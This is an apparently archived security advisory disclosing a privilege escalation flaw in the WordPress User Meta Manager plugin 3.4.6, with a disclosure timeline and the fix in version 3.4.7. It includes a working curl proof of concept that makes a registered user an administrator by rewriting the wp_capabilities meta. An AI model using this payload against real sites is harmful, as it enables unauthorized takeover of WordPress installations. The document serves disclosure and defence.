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WordPress User Meta Manager 3.4.6 Privilege Escalation

WordPress User Meta Manager 3.4.6 Privilege Escalation
Posted Feb 6, 2016
Authored by panVagenas

WordPress User Meta Manager plugin version 3.4.6 suffers from a privilege escalation vulnerability.

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MD5 | b2b1f0f169c96b5403267398d5b31170

WordPress User Meta Manager 3.4.6 Privilege Escalation

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* Exploit Title: WordPress User Meta Manager Plugin [Privilege Escalation]
* Discovery Date: 2015/12/28
* Public Disclosure Date: 2016/02/04
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: http://jasonlau.biz/home/
* Software Link: https://wordpress.org/plugins/user-meta-manager/
* Version: 3.4.6
* Tested on: WordPress 4.4.1
* Category: webapps

Description
================================================================================

User Meta Manager for WordPress plugin up to v3.4.6 suffers from a privilege
escalation vulnerability. A registered user can modify the meta information of
any registered user, including himself. This way he can modify `wp_capabilities`
meta to escalate his account to a full privileged administrative account.

PoC
================================================================================

```sh
curl -c ${USER_COOKIES} \
-d "mode=edit&umm_meta_value[]=a:1:{s:13:\"administrator\";b:1;}\
&umm_meta_key[]=wp_capabilities" \
"http://${VULN_SITE}/wp-admin/admin-ajax.php\?action=umm_switch_action\
&umm_sub_action=umm_update_user_meta&umm_user=${USER_ID}"
```

Timeline
================================================================================

2015/12/28 - Discovered
2015/12/29 - Vendor notified via support forums in WordPress.org
2015/12/29 - Vendor notified via contact form in his site
2016/01/29 - WordPress security team notified about the issue
2016/02/02 - Vendor released version 3.4.7
2016/02/02 - Verified that this exploit no longer applies in version 3.4.7

Solution
================================================================================

Update to version 3.4.7

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